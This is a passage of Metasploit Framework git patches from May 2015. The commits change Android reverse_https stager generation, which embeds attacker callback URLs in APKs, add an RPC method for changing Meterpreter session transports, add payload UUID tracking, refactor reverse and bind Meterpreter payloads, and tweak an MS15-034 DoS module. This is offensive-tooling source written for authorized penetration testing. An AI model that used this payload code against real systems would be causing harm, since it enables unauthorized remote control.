'ZZZZ ', "ZZZZhttp://" + host + ":" + port) + string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) apply_options(classes) + jar = Rex::Zip::Jar.new jar.add_file("classes.dex", fix_dex_header(classes)) - files = [ [ "AndroidManifest.xml" ], [ "resources.arsc" ] ] - jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) jar.build_manifest From 3b8effc5893d78386c8d5a9624e18178da57bf30 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 19 May 2015 16:27:10 +0100 Subject: [PATCH 0131/1013] fix ext_server_android.jar error --- lib/msf/base/sessions/meterpreter_android.rb | 7 ------- lib/msf/base/sessions/meterpreter_options.rb | 6 ------ 2 files changed, 13 deletions(-) diff --git a/lib/msf/base/sessions/meterpreter_android.rb b/lib/msf/base/sessions/meterpreter_android.rb index f3417ae8c7..01080744d3 100644 --- a/lib/msf/base/sessions/meterpreter_android.rb +++ b/lib/msf/base/sessions/meterpreter_android.rb @@ -19,13 +19,6 @@ class Meterpreter_Java_Android < Msf::Sessions::Meterpreter_Java_Java self.platform = 'java/android' end - def load_android - original = console.disable_output - console.disable_output = true - console.run_single('load android') - console.disable_output = original - end - end end diff --git a/lib/msf/base/sessions/meterpreter_options.rb b/lib/msf/base/sessions/meterpreter_options.rb index 30c3711ee1..aa0b5c4136 100644 --- a/lib/msf/base/sessions/meterpreter_options.rb +++ b/lib/msf/base/sessions/meterpreter_options.rb @@ -64,12 +64,6 @@ module MeterpreterOptions end end - if session.platform =~ /android/i - if datastore['AutoLoadAndroid'] - session.load_android - end - end - [ 'InitialAutoRunScript', 'AutoRunScript' ].each do |key| if (datastore[key].empty? == false) args = Shellwords.shellwords( datastore[key] ) From 48c50a897c258de2086b52a1c09efaf5523bfd62 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Tue, 19 May 2015 14:43:25 -0500 Subject: [PATCH 0132/1013] add rpc call to change meterp transport this rpc method allows the user to change transport on an existing meterp session. if it's successful it will close the old 'session' tied to the rpevious transport MSP-12722 --- lib/msf/core/rpc/v10/rpc_session.rb | 31 +++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) diff --git a/lib/msf/core/rpc/v10/rpc_session.rb b/lib/msf/core/rpc/v10/rpc_session.rb index 21da5afbd4..a671d2a5d4 100644 --- a/lib/msf/core/rpc/v10/rpc_session.rb +++ b/lib/msf/core/rpc/v10/rpc_session.rb @@ -395,6 +395,37 @@ class RPC_Session < RPC_Base rpc_meterpreter_run_single( sid, "run #{data}") end + # Changes the Transport of a given Meterpreter Session + # + # @option opts [String] :transport The transport protocol to use (e.g. reverse_tcp, reverse_http, bind_tcp etc) + # @option opts [String] :lhost The LHOST of the listener to use + # @option opts [String] :lport The LPORT of the listener to use + # @option opts [String] :ua The User Agent String to use for reverse_http(s) + # @option opts [String] :proxy_host The address of the proxy to route transport through + # @option opts [String] :proxy_port The port the proxy is listening on + # @option opts [String] :proxy_type The type of proxy to use + # @option opts [String] :proxy_user The username to authenticate to the proxy with + # @option opts [String] :proxy_pass The password to authenticate to the proxy with + # @option opts [String] :comm_timeout Connection timeout in seconds + # @option opts [String] :session_exp Session Expiration Timeout + # @option opts [String] :retry_total Total number of times to retry etsablishing the transport + # @option opts [String] :retry_wait The number of seconds to wait between retries + # @option opts [String] :cert Path to the SSL Cert to use for HTTPS + # @return [Boolean] whether the transport was changed successfully + def rpc_meterpreter_transport_change(sid,opts={}) + session = _valid_session(sid,"meterpreter") + real_opts = {} + opts.each_pair do |key, value| + real_opts[key.to_sym] = value + end + real_opts[:uuid] = session.payload_uuid + result = session.core.transport_change(real_opts) + if result == true + rpc_stop(sid) + end + result + end + # Returns the separator used by the meterpreter. # From 513a81e3402ae846bc592dd98dd58e65aa358bd5 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 20 May 2015 00:28:32 -0500 Subject: [PATCH 0133/1013] Add framework.uuid_db as a JSONHashFile --- lib/msf/core/framework.rb | 10 ++- lib/msf/core/payload/uuid/db.rb | 115 -------------------------------- lib/rex/json_hash_file.rb | 94 ++++++++++++++++++++++++++ 3 files changed, 103 insertions(+), 116 deletions(-) delete mode 100644 lib/msf/core/payload/uuid/db.rb create mode 100644 lib/rex/json_hash_file.rb diff --git a/lib/msf/core/framework.rb b/lib/msf/core/framework.rb index 69787fc3e8..fe54145d0d 100644 --- a/lib/msf/core/framework.rb +++ b/lib/msf/core/framework.rb @@ -73,7 +73,7 @@ class Framework require 'msf/core/plugin_manager' require 'msf/core/db_manager' require 'msf/core/event_dispatcher' - + require 'rex/json_hash_file' # # Creates an instance of the framework context. @@ -91,6 +91,7 @@ class Framework self.datastore = DataStore.new self.jobs = Rex::JobContainer.new self.plugins = PluginManager.new(self) + self.uuid_db = Rex::JSONHashFile.new(::File.join(Msf::Config.config_directory, "payloads.json")) # Configure the thread factory Rex::ThreadFactory.provider = Metasploit::Framework::ThreadFactoryProvider.new(framework: self) @@ -187,6 +188,12 @@ class Framework # unloading of plugins. # attr_reader :plugins + # + # The framework instance's payload uuid database. The payload uuid + # database is used to record and match the unique ID values embedded + # into generated payloads. + # + attr_reader :uuid_db # The framework instance's db manager. The db manager # maintains the database db and handles db events @@ -243,6 +250,7 @@ protected attr_writer :jobs # :nodoc: attr_writer :plugins # :nodoc: attr_writer :db # :nodoc: + attr_writer :uuid_db # :nodoc: end class FrameworkEventSubscriber diff --git a/lib/msf/core/payload/uuid/db.rb b/lib/msf/core/payload/uuid/db.rb deleted file mode 100644 index fe3f210952..0000000000 --- a/lib/msf/core/payload/uuid/db.rb +++ /dev/null @@ -1,115 +0,0 @@ -# -*- coding => binary -*- - -require 'msf/core' -require 'msf/core/payload/uuid' -require 'json' - -# -# This module provides a flat file database interface for managing UUIDs -# -class Msf::Payload::UUID::DB - - attr_accessor :info, :path - - def initialize(path) - self.info = {} - self.path = path - @lock = Mutex.new - @last = 0 - reload - end - - # Save the file, but prevent thread & process contention - def save(action={}) - @lock.synchronize do - ::File.open(path, ::File::RDWR|::File::CREAT) do |fd| - fd.flock(::File::LOCK_EX) - - # Reload and merge if the file has changed recently - if fd.stat.mtime.to_f > @last - self.info = parse_data(fd.read).merge(self.info) - end - - if action[:register_uuid] - params = (action[:params] || {}).merge({ type: 'uuid' }) - self.info[ action[:register_uuid] ] = params - end - - if action[:register_url] - params = (action[:params] || {}).merge({ type: 'url' }) - self.info[ action[:register_uurl] ] = params - end - - if action[:remove_uuid] - self.info.delete(action[:delete_uuid]) - end - - fd.rewind - fd.write(JSON.pretty_generate(self.info)) - fd.sync - fd.truncate(fd.pos) - - @last = Time.now.to_f - end - end - end - - # Load the file from disk - def load - @lock.synchronize do - ::File.open(path, ::File::RDWR|::File::CREAT) do |fd| - fd.flock(::File::LOCK_EX) - @last = fd.stat.mtime.to_f - self.info = parse_data(fd.read(fd.stat.size)) - end - end - end - - # Reload if the file has changed - def reload - return unless ::File.exists?(path) - return unless ::File.stat(path).mtime.to_f > @last - load - end - - def register_uuid(uuid, params) - save(register_uuid: uuid, params: params) - end - - def remove_uuid(uuid) - save(remove_uuid: uuid) - end - - def find_uuid(uuid) - reload - self.info[uuid] - end - - def register_url(url, params) - save(register_url: url, params: params) - end - - def remove_url(url) - save(remove_url: url) - end - - def find_url(url) - reload - self.info[url] - end - -private - - def parse_data(data) - return {} if data.to_s.strip.length == 0 - begin - JSON.parse(data) - rescue JSON::ParserError => e - # TODO: Figure out the appropriate error handling path - raise e - end - end - -end - - diff --git a/lib/rex/json_hash_file.rb b/lib/rex/json_hash_file.rb new file mode 100644 index 0000000000..196c5aadbb --- /dev/null +++ b/lib/rex/json_hash_file.rb @@ -0,0 +1,94 @@ +# -*- coding => binary -*- + +require 'json' + +# +# This class provides a thread-friendly hash file store in JSON format +# +module Rex +class JSONHashFile + + attr_accessor :path + + def initialize(path) + self.path = path + @lock = Mutex.new + @hash = {} + @last = 0 + synced_update + end + + def [](k) + synced_update + @hash[k] + end + + def []=(k,v) + synced_update do + @hash[k] = v + end + end + + def keys + synced_update + @hash.keys + end + + def delete(k) + synced_update do + @hash.delete(k) + end + end + + def clear + synced_update do + @hash.clear + end + end + +private + + # Save the file, but prevent thread & process contention + def synced_update(&block) + @lock.synchronize do + ::File.open(path, ::File::RDWR|::File::CREAT) do |fd| + fd.flock(::File::LOCK_EX) + + # Reload and merge if the file has changed recently + if fd.stat.mtime.to_f > @last + parse_data(fd.read).merge(@hash).each_pair do |k,v| + @hash[k] = v + end + end + + res = nil + + # Update the file on disk if new data is written + if block_given? + res = block.call + fd.rewind + fd.write(JSON.pretty_generate(@hash)) + fd.sync + fd.truncate(fd.pos) + end + + @last = fd.stat.mtime.to_f + + res + end + end + end + + + def parse_data(data) + return {} if data.to_s.strip.length == 0 + begin + JSON.parse(data) + rescue JSON::ParserError => e + # elog("JSONHashFile @ #{path} was corrupt: #{e.class} #{e}" + {} + end + end + +end +end From 818d8b186c4b132f6e4ae4d3ab02620cfa0aab1a Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 20 May 2015 01:10:19 -0500 Subject: [PATCH 0134/1013] Implement tracking --- lib/msf/core/payload/uuid/options.rb | 33 ++++++++++++++++++++++++++-- 1 file changed, 31 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/uuid/options.rb b/lib/msf/core/payload/uuid/options.rb index 083a3a655b..c5d23cf2cf 100644 --- a/lib/msf/core/payload/uuid/options.rb +++ b/lib/msf/core/payload/uuid/options.rb @@ -17,6 +17,8 @@ module Msf::Payload::UUID::Options [ Msf::OptString.new('PayloadUUIDSeed', [ false, 'A string to use when generating the payload UUID (deterministic)']), Msf::OptString.new('PayloadUUIDRaw', [ false, 'A hex string representing the raw 8-byte PUID value for the UUID']), + Msf::OptString.new('PayloadUUIDName', [ false, 'A human-friendly name to reference this unique payload (requires tracking)']), + Msf::OptBool.new('PayloadUUIDTracking', [ true, 'Whether or not to automatically register generated UUIDs', true]), ], self.class) end @@ -31,7 +33,7 @@ module Msf::Payload::UUID::Options def generate_uri_uuid_mode(mode,len=nil) sum = uri_checksum_lookup(mode) - # The URI length may not have room for an embedded checksum + # The URI length may not have room for an embedded UUID if len && len < URI_CHECKSUM_UUID_MIN_LEN # Throw an error if the user set a seed, but there is no room for it if datastore['PayloadUUIDSeed'].to_s.length > 0 ||datastore['PayloadUUIDRaw'].to_s.length > 0 @@ -66,7 +68,34 @@ module Msf::Payload::UUID::Options conf[:puid] = puid_raw end - Msf::Payload::UUID.new(conf) + # Generate the UUID object + uuid = Msf::Payload::UUID.new(conf) + record_payload_uuid(uuid) + + uuid + end + + # Store a UUID in the JSON database if tracking is enabled + def record_payload_uuid(uuid, info={}) + return unless datastore['PayloadUUIDTracking'] + + uuid_info = info.merge({ + arch: uuid.arch, + platform: uuid.platform, + timestamp: uuid.timestamp, + payload: self.fullname, + datastore: self.datastore + }) + + if datastore['PayloadUUIDSeed'].to_s.length > 0 + uuid_info[:seed] = datastore['PayloadUUIDSeed'] + end + + if datastore['PayloadUUIDName'].to_s.length > 0 + uuid_info[:name] = datastore['PayloadUUIDName'] + end + + framework.uuid_db[uuid.puid_hex] = uuid_info end end From d0a5b803e8fbd2f17443861a1a8a5181926b6436 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2015 16:25:52 +1000 Subject: [PATCH 0135/1013] Use generate_payload_uuid instead of manual obj creation --- lib/msf/core/payload/linux/send_uuid.rb | 8 +------- lib/msf/core/payload/php/send_uuid.rb | 6 +----- lib/msf/core/payload/python/send_uuid.rb | 6 +----- lib/msf/core/payload/windows/send_uuid.rb | 8 +------- lib/msf/core/payload/windows/x64/send_uuid.rb | 8 +------- .../payloads/singles/php/meterpreter_reverse_tcp.rb | 6 +----- .../payloads/singles/windows/meterpreter_bind_tcp.rb | 7 +------ .../singles/windows/meterpreter_reverse_http.rb | 7 +------ .../singles/windows/meterpreter_reverse_https.rb | 7 +------ .../singles/windows/meterpreter_reverse_ipv6_tcp.rb | 7 +------ .../singles/windows/meterpreter_reverse_tcp.rb | 7 +------ .../singles/windows/x64/meterpreter_bind_tcp.rb | 7 +------ .../singles/windows/x64/meterpreter_reverse_http.rb | 7 +------ .../singles/windows/x64/meterpreter_reverse_https.rb | 7 +------ .../windows/x64/meterpreter_reverse_ipv6_tcp.rb | 7 +------ .../singles/windows/x64/meterpreter_reverse_tcp.rb | 7 +------ modules/payloads/stages/linux/x86/meterpreter.rb | 11 ++--------- modules/payloads/stages/php/meterpreter.rb | 6 +----- modules/payloads/stages/python/meterpreter.rb | 6 +----- modules/payloads/stages/windows/meterpreter.rb | 7 +------ modules/payloads/stages/windows/x64/meterpreter.rb | 7 +------ 21 files changed, 22 insertions(+), 127 deletions(-) diff --git a/lib/msf/core/payload/linux/send_uuid.rb b/lib/msf/core/payload/linux/send_uuid.rb index fb917448f2..977b70b453 100644 --- a/lib/msf/core/payload/linux/send_uuid.rb +++ b/lib/msf/core/payload/linux/send_uuid.rb @@ -19,13 +19,7 @@ module Payload::Linux::SendUUID # This code assumes that the communications socket handle is in edi. # def asm_send_uuid(uuid=nil) - unless uuid - uuid = Msf::Payload::UUID.new( - platform: 'linux', - arch: ARCH_X86 - ) - end - + uuid ||= generate_payload_uuid uuid_raw = uuid.to_raw asm =%Q^ diff --git a/lib/msf/core/payload/php/send_uuid.rb b/lib/msf/core/payload/php/send_uuid.rb index c4ffae412e..25a29c5477 100644 --- a/lib/msf/core/payload/php/send_uuid.rb +++ b/lib/msf/core/payload/php/send_uuid.rb @@ -21,11 +21,7 @@ module Payload::Php::SendUUID sock_var = opts[:sock_var] || '$s' sock_type = opts[:sock_type] || '$s_type' - uuid = opts[:uuid] || Msf::Payload::UUID.new( - platform: 'php', - arch: ARCH_PHP - ) - + uuid = opts[:uuid] || generate_payload_uuid uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') php = %Q^$u="#{uuid_raw}"; diff --git a/lib/msf/core/payload/python/send_uuid.rb b/lib/msf/core/payload/python/send_uuid.rb index cd61745084..2e48b7dbf0 100644 --- a/lib/msf/core/payload/python/send_uuid.rb +++ b/lib/msf/core/payload/python/send_uuid.rb @@ -20,11 +20,7 @@ module Payload::Python::SendUUID def py_send_uuid(opts={}) sock_var = opts[:sock_var] || 's' - uuid = opts[:uuid] || Msf::Payload::UUID.new( - platform: 'python', - arch: ARCH_PYTHON - ) - + uuid = opts[:uuid] || generate_payload_uuid uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') "#{sock_var}.send(\"#{uuid_raw}\")\n" diff --git a/lib/msf/core/payload/windows/send_uuid.rb b/lib/msf/core/payload/windows/send_uuid.rb index 5535ebfee5..556bd49335 100644 --- a/lib/msf/core/payload/windows/send_uuid.rb +++ b/lib/msf/core/payload/windows/send_uuid.rb @@ -20,13 +20,7 @@ module Payload::Windows::SendUUID # the communications socket handle is in edi. # def asm_send_uuid(uuid=nil) - unless uuid - uuid = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end - + uuid ||= generate_payload_uuid uuid_raw = uuid.to_raw asm =%Q^ diff --git a/lib/msf/core/payload/windows/x64/send_uuid.rb b/lib/msf/core/payload/windows/x64/send_uuid.rb index 9f0de57262..b953425090 100644 --- a/lib/msf/core/payload/windows/x64/send_uuid.rb +++ b/lib/msf/core/payload/windows/x64/send_uuid.rb @@ -20,13 +20,7 @@ module Payload::Windows::SendUUID_x64 # the communications socket handle is in rdi. # def asm_send_uuid(uuid=nil) - unless uuid - uuid = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86_64 - ) - end - + uuid ||= generate_payload_uuid uuid_raw = uuid.to_raw asm =%Q^ diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 611eab064e..1b61fbe37b 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -37,11 +37,7 @@ module Metasploit4 met.gsub!("127.0.0.1", datastore['LHOST']) if datastore['LHOST'] met.gsub!("4444", datastore['LPORT'].to_s) if datastore['LPORT'] - uuid = Msf::Payload::UUID.new( - platform: 'php', - arch: ARCH_PHP - ) - + uuid = generate_payload_uuid bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index 3cf4270eea..714b403634 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index d896a4dae2..78561d56b4 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index 241bb19f9b..195a176b98 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index efab821ffc..6e2e54fe32 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -45,12 +45,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 7e1b2a0789..92121049a0 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -44,12 +44,7 @@ module Metasploit3 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index 6fa749697b..2ce61320a7 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index 8fbb63b9a0..7dec0bec7b 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 65bdd0ad74..78d31e916a 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index 22650c4a37..c819611c57 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -45,12 +45,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 55a7acbceb..3f534da845 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -44,12 +44,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block config_opts = { diff --git a/modules/payloads/stages/linux/x86/meterpreter.rb b/modules/payloads/stages/linux/x86/meterpreter.rb index 8056077829..6b1a2c0e67 100644 --- a/modules/payloads/stages/linux/x86/meterpreter.rb +++ b/modules/payloads/stages/linux/x86/meterpreter.rb @@ -149,18 +149,11 @@ module Metasploit3 end def generate_meterpreter - blob = MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') - - blob + MetasploitPayloads.read('meterpreter', 'msflinker_linux_x86.bin') end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new({ - :platform => 'linux', - :arch => ARCH_X86 - }) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { diff --git a/modules/payloads/stages/php/meterpreter.rb b/modules/payloads/stages/php/meterpreter.rb index 5d6be8ce08..860625da8a 100644 --- a/modules/payloads/stages/php/meterpreter.rb +++ b/modules/payloads/stages/php/meterpreter.rb @@ -31,11 +31,7 @@ module Metasploit4 f.read(f.stat.size) } - uuid = opts[:uuid] || Msf::Payload::UUID.new( - platform: 'php', - arch: ARCH_PHP - ) - + uuid = opts[:uuid] || generate_payload_uuid bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') met = met.sub("\"PAYLOAD_UUID\", \"\"", "\"PAYLOAD_UUID\", \"#{bytes}\"") diff --git a/modules/payloads/stages/python/meterpreter.rb b/modules/payloads/stages/python/meterpreter.rb index c00b559c35..597eb7233e 100644 --- a/modules/payloads/stages/python/meterpreter.rb +++ b/modules/payloads/stages/python/meterpreter.rb @@ -37,11 +37,7 @@ module Metasploit3 met = met.sub("DEBUGGING = False", "DEBUGGING = True") end - uuid = opts[:uuid] || Msf::Payload::UUID.new( - platform: 'python', - arch: ARCH_PYTHON - ) - + uuid = opts[:uuid] || generate_payload_uuid bytes = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('') met = met.sub("PAYLOAD_UUID = \"\"", "PAYLOAD_UUID = \"#{bytes}\"") diff --git a/modules/payloads/stages/windows/meterpreter.rb b/modules/payloads/stages/windows/meterpreter.rb index 61c9dea629..2363cb9a45 100644 --- a/modules/payloads/stages/windows/meterpreter.rb +++ b/modules/payloads/stages/windows/meterpreter.rb @@ -37,12 +37,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X86 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { diff --git a/modules/payloads/stages/windows/x64/meterpreter.rb b/modules/payloads/stages/windows/x64/meterpreter.rb index d72041d837..690d4aac11 100644 --- a/modules/payloads/stages/windows/x64/meterpreter.rb +++ b/modules/payloads/stages/windows/x64/meterpreter.rb @@ -37,12 +37,7 @@ module Metasploit4 end def generate_config(opts={}) - unless opts[:uuid] - opts[:uuid] = Msf::Payload::UUID.new( - platform: 'windows', - arch: ARCH_X64 - ) - end + opts[:uuid] ||= generate_payload_uuid # create the configuration block, which for staged connections is really simple. config_opts = { From 96a30118e25c7804c8159d980e16327f2dd4937c Mon Sep 17 00:00:00 2001 From: Tim Date: Wed, 20 May 2015 07:25:37 +0100 Subject: [PATCH 0136/1013] add https cert validation --- .../payloads/stagers/android/reverse_https.rb | 27 ++++++++++++++----- 1 file changed, 20 insertions(+), 7 deletions(-) diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb index 7b353a693d..f1517bb1c1 100644 --- a/modules/payloads/stagers/android/reverse_https.rb +++ b/modules/payloads/stagers/android/reverse_https.rb @@ -27,23 +27,36 @@ module Metasploit3 end def generate_jar(opts={}) - host = datastore['LHOST'] ? datastore['LHOST'].to_s : String.new - port = datastore['LPORT'] ? datastore['LPORT'].to_s : 8443.to_s - raise ArgumentError, "LHOST can be 32 bytes long at the most" if host.length + port.length + 1 > 32 + # Default URL length is 30-256 bytes + uri_req_len = 30 + rand(256-30) + # Generate the short default URL if we don't know available space + if self.available_space.nil? + uri_req_len = 5 + end - jar = Rex::Zip::Jar.new + lurl = "ZZZZhttps://#{datastore["LHOST"]}" + lurl << ":#{datastore["LPORT"]}" if datastore["LPORT"] + lurl << "/" + lurl << generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, uri_req_len) classes = File.read(File.join(Msf::Config::InstallRoot, 'data', 'android', 'apk', 'classes.dex'), {:mode => 'rb'}) - string_sub(classes, 'ZZZZ ', "ZZZZhttps://" + host + ":" + port) + string_sub(classes, 'ZZZZ' + ' ' * 512, lurl) + + verify_cert_hash = get_ssl_cert_hash(datastore['StagerVerifySSLCert'], + datastore['HandlerSSLCert']) + if verify_cert_hash + hash = 'WWWW' + verify_cert_hash.unpack("H*").first + string_sub(classes, 'WWWW ', hash) + end + apply_options(classes) + jar = Rex::Zip::Jar.new jar.add_file("classes.dex", fix_dex_header(classes)) - files = [ [ "AndroidManifest.xml" ], [ "resources.arsc" ] ] - jar.add_files(files, File.join(Msf::Config.install_root, "data", "android", "apk")) jar.build_manifest From 5963a5833a78d8374df676cd047d3855d1fd8170 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 20 May 2015 16:50:00 +1000 Subject: [PATCH 0137/1013] Fix up php stageless payload includes --- lib/msf/core/payload/php/reverse_tcp.rb | 2 ++ modules/payloads/singles/php/meterpreter_reverse_tcp.rb | 2 ++ 2 files changed, 4 insertions(+) diff --git a/lib/msf/core/payload/php/reverse_tcp.rb b/lib/msf/core/payload/php/reverse_tcp.rb index 77baa0688c..e3db9eff11 100644 --- a/lib/msf/core/payload/php/reverse_tcp.rb +++ b/lib/msf/core/payload/php/reverse_tcp.rb @@ -3,6 +3,7 @@ require 'msf/core' require 'msf/core/payload/php/send_uuid' +require 'msf/core/payload/uuid_options' module Msf @@ -15,6 +16,7 @@ module Msf module Payload::Php::ReverseTcp include Msf::Payload::Php::SendUUID + include Msf::Payload::UUIDOptions # # Generate the first stage diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 1b61fbe37b..ba8464c4ed 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -5,6 +5,7 @@ require 'msf/core' require 'msf/core/handler/reverse_tcp' +require 'msf/core/payload/php/reverse_tcp' require 'msf/base/sessions/meterpreter_php' require 'msf/base/sessions/meterpreter_options' @@ -14,6 +15,7 @@ module Metasploit4 CachedSize = 25532 include Msf::Payload::Single + include Msf::Payload::Php::ReverseTcp include Msf::Sessions::MeterpreterOptions def initialize(info = {}) From 202a77fc129c72465d87b09d99a93840fa899bb6 Mon Sep 17 00:00:00 2001 From: erwanlr Date: Wed, 20 May 2015 18:08:00 +0100 Subject: [PATCH 0138/1013] Improves detection of the MS15-034 --- .../dos/http/ms15_034_ulonglongadd.rb | 87 ++++++++++++++----- 1 file changed, 65 insertions(+), 22 deletions(-) diff --git a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb index 0eb68da758..9c0965579f 100644 --- a/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb +++ b/modules/auxiliary/dos/http/ms15_034_ulonglongadd.rb @@ -46,7 +46,7 @@ class Metasploit3 < Msf::Auxiliary register_options( [ - 